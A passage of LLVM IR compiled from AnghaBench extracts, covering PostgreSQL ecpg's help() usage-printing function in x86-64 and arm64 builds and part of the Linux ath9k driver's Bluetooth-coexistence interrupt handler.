unnamed_addr constant [114 x i8] c" -C MODE set compatibility mode; MODE can be one of\0A \22INFORMIX\22, \22INFORMIX_SE\22, \22ORACLE\22\0A\00", align 1 @.str.5 = private unnamed_addr constant [32 x i8] c" -D SYMBOL define SYMBOL\0A\00", align 1 @.str.6 = private unnamed_addr constant [72 x i8] c" -h parse a header file, this option includes option \22-c\22\0A\00", align 1 @.str.7 = private unnamed_addr constant [53 x i8] c" -i parse system include files as well\0A\00", align 1 @.str.8 = private unnamed_addr constant [53 x i8] c" -I DIRECTORY search DIRECTORY for include files\0A\00", align 1 @.str.9 = private unnamed_addr constant [42 x i8] c" -o OUTFILE write result to OUTFILE\0A\00", align 1 @.str.10 = private unnamed_addr constant [120 x i8] c" -r OPTION specify run-time behavior; OPTION can be:\0A \22no_indicator\22, \22prepare\22, \22questionmarks\22\0A\00", align 1 @.str.11 = private unnamed_addr constant [49 x i8] c" --regression run in regression testing mode\0A\00", align 1 @.str.12 = private unnamed_addr constant [53 x i8] c" -t turn on autocommit of transactions\0A\00", align 1 @.str.13 = private unnamed_addr constant [56 x i8] c" -V, --version output version information, then exit\0A\00", align 1 @.str.14 = private unnamed_addr constant [44 x i8] c" -?, --help show this help, then exit\0A\00", align 1 @.str.15 = private unnamed_addr constant [127 x i8] c"\0AIf no output file is specified, the name is formed by adding .c to the\0Ainput file name, after stripping off .pgc if present.\0A\00", align 1 @.str.16 = private unnamed_addr constant [52 x i8] c"\0AReport bugs to <pgsql-bugs@lists.postgresql.org>.\0A\00", align 1 @llvm.compiler.used = appending global [1 x ptr] [ptr @help], section "llvm.metadata" ; Function Attrs: nounwind uwtable define internal void @help(ptr noundef %0) #0 { %2 = tail call ptr @_(ptr noundef nonnull @.str) #3 %3 = tail call i32 (ptr, ...) @printf(ptr noundef nonnull dereferenceable(1) %2, ptr noundef %0) %4 = tail call ptr @_(ptr noundef nonnull @.str.1) #3 %5 = tail call i32 (ptr, ...) @printf(ptr noundef nonnull dereferenceable(1) %4, ptr noundef %0) %6 = tail call ptr @_(ptr noundef nonnull @.str.2) #3 %7 = tail call i32 (ptr, ...) @printf(ptr noundef nonnull dereferenceable(1) %6) %8 = tail call ptr @_(ptr noundef nonnull @.str.3) #3 %9 = tail call i32 (ptr, ...) @printf(ptr noundef nonnull dereferenceable(1) %8) %10 = tail call ptr @_(ptr noundef nonnull @.str.4) #3 %11 = tail call i32 (ptr, ...) @printf(ptr noundef nonnull dereferenceable(1) %10) %12 = tail call ptr @_(ptr noundef nonnull @.str.5) #3 %13 = tail call i32 (ptr, ...) @printf(ptr noundef nonnull dereferenceable(1) %12) %14 = tail call ptr @_(ptr noundef nonnull @.str.6) #3 %15 = tail call i32 (ptr, ...) @printf(ptr noundef nonnull dereferenceable(1) %14) %16 = tail call ptr @_(ptr noundef nonnull @.str.7) #3 %17 = tail call i32 (ptr, ...) @printf(ptr noundef nonnull dereferenceable(1) %16) %18 = tail call ptr @_(ptr noundef nonnull @.str.8) #3 %19 = tail call i32 (ptr, ...) @printf(ptr noundef nonnull dereferenceable(1) %18) %20 = tail call ptr @_(ptr noundef nonnull @.str.9) #3 %21 = tail call i32 (ptr, ...) @printf(ptr noundef nonnull dereferenceable(1) %20) %22 = tail call ptr @_(ptr noundef nonnull @.str.10) #3 %23 = tail call i32 (ptr, ...) @printf(ptr noundef nonnull dereferenceable(1) %22) %24 = tail call ptr @_(ptr noundef nonnull @.str.11) #3 %25 = tail call i32 (ptr, ...) @printf(ptr noundef nonnull dereferenceable(1) %24) %26 = tail call ptr @_(ptr noundef nonnull @.str.12) #3 %27 = tail call i32 (ptr, ...) @printf(ptr noundef nonnull dereferenceable(1) %26) %28 = tail call ptr @_(ptr noundef nonnull @.str.13) #3 %29 = tail call i32 (ptr, ...) @printf(ptr noundef nonnull dereferenceable(1) %28) %30 = tail call ptr @_(ptr noundef nonnull @.str.14) #3 %31 = tail call i32 (ptr, ...) @printf(ptr noundef nonnull dereferenceable(1) %30) %32 = tail call ptr @_(ptr noundef nonnull @.str.15) #3 %33 = tail call i32 (ptr, ...) @printf(ptr noundef nonnull dereferenceable(1) %32) %34 = tail call ptr @_(ptr noundef nonnull @.str.16) #3 %35 = tail call i32 (ptr, ...) @printf(ptr noundef nonnull dereferenceable(1) %34) ret void } ; Function Attrs: nofree nounwind declare noundef i32 @printf(ptr nocapture noundef readonly, ...) local_unnamed_addr #1 declare ptr @_(ptr noundef) local_unnamed_addr #2 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { nofree nounwind "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #3 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
; ModuleID = 'AnghaBench/postgres/src/interfaces/ecpg/preproc/extr_ecpg.c_help.c' source_filename = "AnghaBench/postgres/src/interfaces/ecpg/preproc/extr_ecpg.c_help.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @.str = private unnamed_addr constant [65 x i8] c"%s is the PostgreSQL embedded SQL preprocessor for C programs.\0A\0A\00", align 1 @.str.1 = private unnamed_addr constant [34 x i8] c"Usage:\0A %s [OPTION]... FILE...\0A\0A\00", align 1 @.str.2 = private unnamed_addr constant [10 x i8] c"Options:\0A\00", align 1 @.str.3 = private unnamed_addr constant [116 x i8] c" -c automatically generate C code from embedded SQL code;\0A this affects EXEC SQL TYPE\0A\00", align 1 @.str.4 = private unnamed_addr constant [114 x i8] c" -C MODE set compatibility mode; MODE can be one of\0A \22INFORMIX\22, \22INFORMIX_SE\22, \22ORACLE\22\0A\00", align 1 @.str.5 = private unnamed_addr constant [32 x i8] c" -D SYMBOL define SYMBOL\0A\00", align 1 @.str.6 = private unnamed_addr constant [72 x i8] c" -h parse a header file, this option includes option \22-c\22\0A\00", align 1 @.str.7 = private unnamed_addr constant [53 x i8] c" -i parse system include files as well\0A\00", align 1 @.str.8 = private unnamed_addr constant [53 x i8] c" -I DIRECTORY search DIRECTORY for include files\0A\00", align 1 @.str.9 = private unnamed_addr constant [42 x i8] c" -o OUTFILE write result to OUTFILE\0A\00", align 1 @.str.10 = private unnamed_addr constant [120 x i8] c" -r OPTION specify run-time behavior; OPTION can be:\0A \22no_indicator\22, \22prepare\22, \22questionmarks\22\0A\00", align 1 @.str.11 = private unnamed_addr constant [49 x i8] c" --regression run in regression testing mode\0A\00", align 1 @.str.12 = private unnamed_addr constant [53 x i8] c" -t turn on autocommit of transactions\0A\00", align 1 @.str.13 = private unnamed_addr constant [56 x i8] c" -V, --version output version information, then exit\0A\00", align 1 @.str.14 = private unnamed_addr constant [44 x i8] c" -?, --help show this help, then exit\0A\00", align 1 @.str.15 = private unnamed_addr constant [127 x i8] c"\0AIf no output file is specified, the name is formed by adding .c to the\0Ainput file name, after stripping off .pgc if present.\0A\00", align 1 @.str.16 = private unnamed_addr constant [52 x i8] c"\0AReport bugs to <pgsql-bugs@lists.postgresql.org>.\0A\00", align 1 @llvm.used = appending global [1 x ptr] [ptr @help], section "llvm.metadata" ; Function Attrs: nounwind ssp uwtable(sync) define internal void @help(ptr noundef %0) #0 { %2 = tail call ptr @_(ptr noundef nonnull @.str) #3 %3 = tail call i32 (ptr, ...) @printf(ptr noundef nonnull dereferenceable(1) %2, ptr noundef %0) %4 = tail call ptr @_(ptr noundef nonnull @.str.1) #3 %5 = tail call i32 (ptr, ...) @printf(ptr noundef nonnull dereferenceable(1) %4, ptr noundef %0) %6 = tail call ptr @_(ptr noundef nonnull @.str.2) #3 %7 = tail call i32 (ptr, ...) @printf(ptr noundef nonnull dereferenceable(1) %6) %8 = tail call ptr @_(ptr noundef nonnull @.str.3) #3 %9 = tail call i32 (ptr, ...) @printf(ptr noundef nonnull dereferenceable(1) %8) %10 = tail call ptr @_(ptr noundef nonnull @.str.4) #3 %11 = tail call i32 (ptr, ...) @printf(ptr noundef nonnull dereferenceable(1) %10) %12 = tail call ptr @_(ptr noundef nonnull @.str.5) #3 %13 = tail call i32 (ptr, ...) @printf(ptr noundef nonnull dereferenceable(1) %12) %14 = tail call ptr @_(ptr noundef nonnull @.str.6) #3 %15 = tail call i32 (ptr, ...) @printf(ptr noundef nonnull dereferenceable(1) %14) %16 = tail call ptr @_(ptr noundef nonnull @.str.7) #3 %17 = tail call i32 (ptr, ...) @printf(ptr noundef nonnull dereferenceable(1) %16) %18 = tail call ptr @_(ptr noundef nonnull @.str.8) #3 %19 = tail call i32 (ptr, ...) @printf(ptr noundef nonnull dereferenceable(1) %18) %20 = tail call ptr @_(ptr noundef nonnull @.str.9) #3 %21 = tail call i32 (ptr, ...) @printf(ptr noundef nonnull dereferenceable(1) %20) %22 = tail call ptr @_(ptr noundef nonnull @.str.10) #3 %23 = tail call i32 (ptr, ...) @printf(ptr noundef nonnull dereferenceable(1) %22) %24 = tail call ptr @_(ptr noundef nonnull @.str.11) #3 %25 = tail call i32 (ptr, ...) @printf(ptr noundef nonnull dereferenceable(1) %24) %26 = tail call ptr @_(ptr noundef nonnull @.str.12) #3 %27 = tail call i32 (ptr, ...) @printf(ptr noundef nonnull dereferenceable(1) %26) %28 = tail call ptr @_(ptr noundef nonnull @.str.13) #3 %29 = tail call i32 (ptr, ...) @printf(ptr noundef nonnull dereferenceable(1) %28) %30 = tail call ptr @_(ptr noundef nonnull @.str.14) #3 %31 = tail call i32 (ptr, ...) @printf(ptr noundef nonnull dereferenceable(1) %30) %32 = tail call ptr @_(ptr noundef nonnull @.str.15) #3 %33 = tail call i32 (ptr, ...) @printf(ptr noundef nonnull dereferenceable(1) %32) %34 = tail call ptr @_(ptr noundef nonnull @.str.16) #3 %35 = tail call i32 (ptr, ...) @printf(ptr noundef nonnull dereferenceable(1) %34) ret void } ; Function Attrs: nofree nounwind declare noundef i32 @printf(ptr nocapture noundef readonly, ...) local_unnamed_addr #1 declare ptr @_(ptr noundef) local_unnamed_addr #2 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { nofree nounwind "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #3 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
postgres_src_interfaces_ecpg_preproc_extr_ecpg.c_help
; ModuleID = 'AnghaBench/linux/drivers/net/wireless/ath/ath9k/extr_mci.c_ath_mci_intr.c' source_filename = "AnghaBench/linux/drivers/net/wireless/ath/ath9k/extr_mci.c_ath_mci_intr.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" %struct.ath_softc = type { ptr, %struct.ath_mci_coex } %struct.ath_mci_coex = type { %struct.TYPE_4__ } %struct.TYPE_4__ = type { ptr } %struct.ath9k_hw_mci = type { i64, i32 } @MCI_GPM_MORE = dso_local local_unnamed_addr global i32 0, align 4 @MCI_STATE_ENABLE = dso_local local_unnamed_addr global i32 0, align 4 @MCI_STATE_INIT_GPM_OFFSET = dso_local local_unnamed_addr global i32 0, align 4 @AR_MCI_INTERRUPT_RX_MSG_REQ_WAKE = dso_local local_unnamed_addr global i32 0, align 4 @__const.ath_mci_intr.payload = private unnamed_addr constant [4 x i32] [i32 -1, i32 -1, i32 -1, i32 -256], align 16 @MCI_REMOTE_RESET = dso_local local_unnamed_addr global i32 0, align 4 @MCI_SYS_WAKING = dso_local local_unnamed_addr global i32 0, align 4 @MCI_STATE_RESET_REQ_WAKE = dso_local local_unnamed_addr global i32 0, align 4 @MCI_STATE_SET_BT_AWAKE = dso_local local_unnamed_addr global i32 0, align 4 @AR_MCI_INTERRUPT_RX_MSG_SYS_WAKING = dso_local local_unnamed_addr global i32 0, align 4 @MCI_BT_SLEEP = dso_local local_unnamed_addr global i64 0, align 8 @MCI_STATE_REMOTE_SLEEP = dso_local local_unnamed_addr global i32 0, align 4 @AR_MCI_INTERRUPT_RX_MSG_SYS_SLEEPING = dso_local local_unnamed_addr global i32 0, align 4 @MCI_BT_AWAKE = dso_local local_unnamed_addr global i64 0, align 8 @AR_MCI_INTERRUPT_RX_INVALID_HDR = dso_local local_unnamed_addr global i32 0, align 4 @AR_MCI_INTERRUPT_CONT_INFO_TIMEOUT = dso_local local_unnamed_addr global i32 0, align 4 @MCI_STATE_RECOVER_RX = dso_local local_unnamed_addr global i32 0, align 4 @AR_MCI_INTERRUPT_RX_MSG_SCHD_INFO = dso_local local_unnamed_addr global i32 0, align 4 @MCI_STATE_LAST_SCHD_MSG_OFFSET = dso_local local_unnamed_addr global i32 0, align 4 @AR_MCI_INTERRUPT_RX_MSG_GPM = dso_local local_unnamed_addr global i32 0, align 4 @ATH_OP_HW_RESET = dso_local local_unnamed_addr global i32 0, align 4 @MCI_GPM_INVALID = dso_local local_unnamed_addr global i32 0, align 4 @AR_MCI_INTERRUPT_RX_HW_MSG_MASK = dso_local local_unnamed_addr global i32 0, align 4 @AR_MCI_INTERRUPT_RX_MSG_LNA_CONTROL = dso_local local_unnamed_addr global i32 0, align 4 @AR_MCI_INTERRUPT_RX_MSG_LNA_INFO = dso_local local_unnamed_addr global i32 0, align 4 @AR_MCI_INTERRUPT_RX_MSG_CONT_INFO = dso_local local_unnamed_addr global i32 0, align 4 @AR_MCI_CONT_RSSI_POWER = dso_local local_unnamed_addr global i32 0, align 4 @MCI = dso_local local_unnamed_addr global i32 0, align 4 @.str = private unnamed_addr constant [43 x i8] c"MCI CONT_INFO: (%s) pri = %d pwr = %d dBm\0A\00", align 1 @AR_MCI_CONT_TXRX = dso_local local_unnamed_addr global i32 0, align 4 @.str.1 = private unnamed_addr constant [3 x i8] c"tx\00", align 1 @.str.2 = private unnamed_addr constant [3 x i8] c"rx\00", align 1 @AR_MCI_CONT_PRIORITY = dso_local local_unnamed_addr global i32 0, align 4 @AR_MCI_INTERRUPT_RX_MSG_CONT_NACK = dso_local local_unnamed_addr global i32 0, align 4 @AR_MCI_INTERRUPT_RX_MSG_CONT_RST = dso_local local_unnamed_addr global i32 0, align 4 @MCI_GPM_COEX_NOOP = dso_local local_unnamed_addr global i32 0, align 4 ; Function Attrs: nounwind uwtable define dso_local void @ath_mci_intr(ptr noundef %0) local_unnamed_addr #0 { %2 = alloca i32, align 4 %3 = alloca i32, align 4 %4 = alloca i32, align 4 %5 = alloca [4 x i32], align 16 %6 = getelementptr inbounds %struct.ath_softc, ptr %0, i64 0, i32 1 %7 = load ptr, ptr %0, align 8, !tbaa !5 %8 = tail call ptr @ath9k_hw_common(ptr noundef %7) #4 call void @llvm.lifetime.start.p0(i64 4, ptr nonnull %2) #4 call void @llvm.lifetime.start.p0(i64 4, ptr nonnull %3) #4 call void @llvm.lifetime.start.p0(i64 4, ptr nonnull %4) #4 %9 = load i32, ptr @MCI_GPM_MORE, align 4, !tbaa !12 store i32 %9, ptr %4, align 4, !tbaa !12 %10 = load ptr, ptr %0, align 8, !tbaa !5 %11 = call i32 @ar9003_mci_get_interrupt(ptr noundef %10, ptr noundef nonnull %2, ptr noundef nonnull %3) #4 %12 = load i32, ptr @MCI_STATE_ENABLE, align 4, !tbaa !12 %13 = call i64 @ar9003_mci_state(ptr noundef %7, i32 noundef %12) #4 %14 = icmp eq i64 %13, 0 br i1 %14, label %15, label %18 15: ; preds = %1 %16 = load i32, ptr @MCI_STATE_INIT_GPM_OFFSET, align 4, !tbaa !12 %17 = call i64 @ar9003_mci_state(ptr noundef %7, i32 noundef %16) #4 br label %215 18: ; preds = %1 %19 = load i32, ptr %3, align 4, !tbaa !12 %20 = load i32, ptr @AR_MCI_INTERRUPT_RX_MSG_REQ_WAKE, align 4, !tbaa !12 %21 = and i32 %20, %19 %22 = icmp eq i32 %21, 0 br i1 %22, label %37, label %23 23: ; preds = %18 call void @llvm.lifetime.start.p0(i64 16, ptr nonnull %5) #4 call void @llvm.memcpy.p0.p0.i64(ptr noundef nonnull align 16 dereferenceable(16) %5, ptr noundef nonnull align 16 dereferenceable(16) @__const.ath_mci_intr.payload, i64 16, i1 false) %24 = load i32, ptr @MCI_REMOTE_RESET, align 4, !tbaa !12 %25 = call i32 @ar9003_mci_send_message(ptr noundef %7, i32 noundef %24, i32 noundef 0, ptr noundef nonnull %5, i32 noundef 16, i32 noundef 1, i32 noundef 0) #4 %26 = load i32, ptr @MCI_SYS_WAKING, align 4, !tbaa !12 %27 = call i32 @ar9003_mci_send_message(ptr noundef %7, i32 noundef %26, i32 noundef 0, ptr noundef null, i32 noundef 0, i32 noundef 1, i32 noundef 0) #4 %28 = load i32, ptr @AR_MCI_INTERRUPT_RX_MSG_REQ_WAKE, align 4, !tbaa !12 %29 = xor i32 %28, -1 %30 = load i32, ptr %3, align 4, !tbaa !12 %31 = and i32 %30, %29 store i32 %31, ptr %3, align 4, !tbaa !12 %32 = load i32, ptr @MCI_STATE_RESET_REQ_WAKE, align 4, !tbaa !12 %33 = call i64 @ar9003_mci_state(ptr noundef %7, i32 noundef %32) #4 %34 = load i32, ptr @MCI_STATE_SET_BT_AWAKE, align 4, !tbaa !12 %35 = call i64 @ar9003_mci_state(ptr noundef %7, i32 noundef %34) #4 call void @llvm.lifetime.end.p0(i64 16, ptr nonnull %5) #4 %36 = load i32, ptr %3, align 4, !tbaa !12 br label %37 37: ; preds = %23, %18 %38 = phi i32 [ %36, %23 ], [ %19, %18 ] %39 = load i32, ptr @AR_MCI_INTERRUPT_RX_MSG_SYS_WAKING, align 4, !tbaa !12 %40 = and i32 %39, %38 %41 = icmp eq i32 %40, 0 br i1 %41, label %56, label %42 42: ; preds = %37 %43 = xor i32 %39, -1 %44 = and i32 %38, %43 store i32 %44, ptr %3, align 4, !tbaa !12 %45 = load i64, ptr %7, align 8, !tbaa !14 %46 = load i64, ptr @MCI_BT_SLEEP, align 8, !tbaa !17 %47 = icmp eq i64 %45, %46 br i1 %47, label %48, label %56 48: ; preds = %42 %49 = load i32, ptr @MCI_STATE_REMOTE_SLEEP, align 4, !tbaa !12 %50 = call i64 @ar9003_mci_state(ptr noundef nonnull %7, i32 noundef %49) #4 %51 = load i64, ptr @MCI_BT_SLEEP, align 8, !tbaa !17 %52 = icmp eq i64 %50, %51 br i1 %52, label %56, label %53 53: ; preds = %48 %54 = load i32, ptr @MCI_STATE_SET_BT_AWAKE, align 4, !tbaa !12 %55 = call i64 @ar9003_mci_state(ptr noundef nonnull %7, i32 noundef %54) #4 br label %56 56: ; preds = %42, %48, %53, %37 %57 = load i32, ptr %3, align 4, !tbaa !12 %58 = load i32, ptr @AR_MCI_INTERRUPT_RX_MSG_SYS_SLEEPING, align 4, !tbaa !12 %59 = and i32 %58, %57 %60 = icmp eq i32 %59, 0 br i1 %60, label %74, label %61 61: ; preds = %56 %62 = xor i32 %58, -1 %63 = and i32 %57, %62 store i32 %63, ptr %3, align 4, !tbaa !12 %64 = load i64, ptr %7, align 8, !tbaa !14 %65 = load i64, ptr @MCI_BT_AWAKE, align 8, !tbaa !17 %66 = icmp eq i64 %64, %65 br i1 %66, label %67, label %74 67: ; preds = %61 %68 = load i32, ptr @MCI_STATE_REMOTE_SLEEP, align 4, !tbaa !12 %69 = call i64 @ar9003_mci_state(ptr noundef nonnull %7, i32 noundef %68) #4 %70 = load i64, ptr @MCI_BT_AWAKE, align 8, !tbaa !17 %71 = icmp eq i64 %69, %70 br i1 %71, label %74, label %72 72: ; preds = %67 %73 = load i64, ptr @MCI_BT_SLEEP, align 8, !tbaa !17 store i64 %73, ptr %7, align 8, !tbaa !14 br label %74 74: ; preds = %61, %67, %72, %56 %75 = load i32, ptr %2, align 4, !tbaa !12 %76 = load i32, ptr @AR_MCI_INTERRUPT_RX_INVALID_HDR, align 4, !tbaa !12 %77 = and i32 %76, %75 %78 = icmp eq i32 %77, 0 br i1 %78, label %79, label %83 79: ; preds = %74 %80 = load i32, ptr @AR_MCI_INTERRUPT_CONT_INFO_TIMEOUT, align 4, !tbaa !12 %81 = and i32 %80, %75 %82 = icmp eq i32 %81, 0 br i1 %82, label %86, label %83 83: ; preds = %79, %74 %84 = load i32, ptr @MCI_STATE_RECOVER_RX, align 4, !tbaa !12 %85 = call i64 @ar9003_mci_state(ptr noundef %7, i32 noundef %84) #4 br label %86 86: ; preds = %83, %79 %87 = phi i1 [ false, %83 ], [ true, %79 ] %88 = load i32, ptr %3, align 4, !tbaa !12 %89 = load i32, ptr @AR_MCI_INTERRUPT_RX_MSG_SCHD_INFO, align 4, !tbaa !12 %90 = and i32 %89, %88 %91 = icmp eq i32 %90, 0 br i1 %91, label %98, label %92 92: ; preds = %86 %93 = xor i32 %89, -1 %94 = and i32 %88, %93 store i32 %94, ptr %3, align 4, !tbaa !12 %95 = load i32, ptr @MCI_STATE_LAST_SCHD_MSG_OFFSET, align 4, !tbaa !12 %96 = call i64 @ar9003_mci_state(ptr noundef %7, i32 noundef %95) #4 %97 = load i32, ptr %3, align 4, !tbaa !12 br label %98 98: ; preds = %92, %86 %99 = phi i32 [ %97, %92 ], [ %88, %86 ] %100 = load i32, ptr @AR_MCI_INTERRUPT_RX_MSG_GPM, align 4, !tbaa !12 %101 = and i32 %100, %99 %102 = icmp eq i32 %101, 0 br i1 %102, label %139, label %103 103: ; preds = %98 %104 = xor i32 %100, -1 %105 = and i32 %99, %104 store i32 %105, ptr %3, align 4, !tbaa !12 %106 = load i32, ptr @MCI_GPM_MORE, align 4, !tbaa !12 %107 = icmp eq i32 %9, %106 br i1 %107, label %108, label %139 108: ; preds = %103, %132 %109 = load i32, ptr @ATH_OP_HW_RESET, align 4, !tbaa !12 %110 = call i64 @test_bit(i32 noundef %109, ptr noundef %8) #4 %111 = icmp eq i64 %110, 0 br i1 %111, label %112, label %215 112: ; preds = %108 %113 = load ptr, ptr %6, align 8, !tbaa !18 %114 = call i32 @ar9003_mci_get_next_gpm_offset(ptr noundef %7, ptr noundef nonnull %4) #4 %115 = load i32, ptr @MCI_GPM_INVALID, align 4, !tbaa !12 %116 = icmp eq i32 %114, %115 br i1 %116, label %137, label %117 117: ; preds = %112 %118 = ashr i32 %114, 2 %119 = sext i32 %118 to i64 %120 = getelementptr inbounds i32, ptr %113, i64 %119 %121 = call i32 @MCI_GPM_TYPE(ptr noundef %120) #4 %122 = call i32 @MCI_GPM_OPCODE(ptr noundef %120) #4 br i1 %87, label %123, label %132 123: ; preds = %117 %124 = call i64 @MCI_GPM_IS_CAL_TYPE(i32 noundef %121) #4 %125 = icmp eq i64 %124, 0 br i1 %125, label %128, label %126 126: ; preds = %123 %127 = call i32 @ath_mci_cal_msg(ptr noundef nonnull %0, i32 noundef %121, ptr noundef %120) #4 br label %132 128: ; preds = %123 %129 = icmp eq i32 %121, 128 br i1 %129, label %130, label %132 130: ; preds = %128 %131 = call i32 @ath_mci_msg(ptr noundef nonnull %0, i32 noundef %122, ptr noundef %120) #4 br label %132 132: ; preds = %126, %128, %130, %117 %133 = call i32 @MCI_GPM_RECYCLE(ptr noundef %120) #4 %134 = load i32, ptr %4, align 4, !tbaa !12 %135 = load i32, ptr @MCI_GPM_MORE, align 4, !tbaa !12 %136 = icmp eq i32 %134, %135 br i1 %136, label %108, label %137, !llvm.loop !19 137: ; preds = %132, %112 %138 = load i32, ptr %3, align 4, !tbaa !12 br label %139 139: ; preds = %137, %103, %98 %140 = phi i32 [ %138, %137 ], [ %105, %103 ], [ %99, %98 ] %141 = load i32, ptr @AR_MCI_INTERRUPT_RX_HW_MSG_MASK, align 4, !tbaa !12 %142 = and i32 %141, %140 %143 = icmp eq i32 %142, 0 br i1 %143, label %200, label %144 144: ; preds = %139 %145 = load i32, ptr @AR_MCI_INTERRUPT_RX_MSG_LNA_CONTROL, align 4, !tbaa !12 %146 = and i32 %145, %140 %147 = icmp eq i32 %146, 0 br i1 %147, label %151, label %148 148: ; preds = %144 %149 = xor i32 %145, -1 %150 = and i32 %140, %149 store i32 %150, ptr %3, align 4, !tbaa !12 br label %151 151: ; preds = %148, %144 %152 = phi i32 [ %150, %148 ], [ %140, %144 ] %153 = load i32, ptr @AR_MCI_INTERRUPT_RX_MSG_LNA_INFO, align 4, !tbaa !12 %154 = and i32 %153, %152 %155 = icmp eq i32 %154, 0 br i1 %155, label %159, label %156 156: ; preds = %151 %157 = xor i32 %153, -1 %158 = and i32 %152, %157 store i32 %158, ptr %3, align 4, !tbaa !12 br label %159 159: ; preds = %156, %151 %160 = phi i32 [ %158, %156 ], [ %152, %151 ] %161 = load i32, ptr @AR_MCI_INTERRUPT_RX_MSG_CONT_INFO, align 4, !tbaa !12 %162 = and i32 %161, %160 %163 = icmp eq i32 %162, 0 br i1 %163, label %184, label %164 164: ; preds = %159 %165 = getelementptr inbounds %struct.ath9k_hw_mci, ptr %7, i64 0, i32 1 %166 = load i32, ptr %165, align 8, !tbaa !21 %167 = load i32, ptr @AR_MCI_CONT_RSSI_POWER, align 4, !tbaa !12 %168 = call i32 @MS(i32 noundef %166, i32 noundef %167) #4 %169 = load i32, ptr @AR_MCI_INTERRUPT_RX_MSG_CONT_INFO, align 4, !tbaa !12 %170 = xor i32 %169, -1 %171 = load i32, ptr %3, align 4, !tbaa !12 %172 = and i32 %171, %170 store i32 %172, ptr %3, align 4, !tbaa !12 %173 = load i32, ptr @MCI, align 4, !tbaa !12 %174 = load i32, ptr %165, align 8, !tbaa !21 %175 = load i32, ptr @AR_MCI_CONT_TXRX, align 4, !tbaa !12 %176 = call i32 @MS(i32 noundef %174, i32 noundef %175) #4 %177 = icmp eq i32 %176, 0 %178 = select i1 %177, ptr @.str.2, ptr @.str.1 %179 = load i32, ptr %165, align 8, !tbaa !21 %180 = load i32, ptr @AR_MCI_CONT_PRIORITY, align 4, !tbaa !12 %181 = call i32 @MS(i32 noundef %179, i32 noundef %180) #4 %182 = call i32 @ath_dbg(ptr noundef %8, i32 noundef %173, ptr noundef nonnull @.str, ptr noundef nonnull %178, i32 noundef %181, i32 noundef %168) #4 %183 = load i32, ptr %3, align 4, !tbaa !12 br label %184 184: ; preds = %164, %159 %185 = phi i32 [ %183, %164 ], [ %160, %159 ] %186 = load i32, ptr @AR_MCI_INTERRUPT_RX_MSG_CONT_NACK, align 4, !tbaa !12 %187 = and i32 %186, %185 %188 = icmp eq i32 %187, 0 br i1 %188, label %192, label %189 189: ; preds = %184 %190 = xor i32 %186, -1 %191 = and i32 %185, %190 store i32 %191, ptr %3, align 4, !tbaa !12 br label %192 192: ; preds = %189, %184 %193 = phi i32 [ %191, %189 ], [ %185, %184 ] %194 = load i32, ptr @AR_MCI_INTERRUPT_RX_MSG_CONT_RST, align 4, !tbaa !12 %195 = and i32 %194, %193 %196 = icmp eq i32 %195, 0 br i1 %196, label %200, label %197 197: ; preds = %192 %198 = xor i32 %194, -1 %199 = and i32 %193, %198 store i32 %199, ptr %3, align 4, !tbaa !12 br label %200 200: ; preds = %192, %197, %139 %201 = load i32, ptr %2, align 4, !tbaa !12 %202 = load i32, ptr 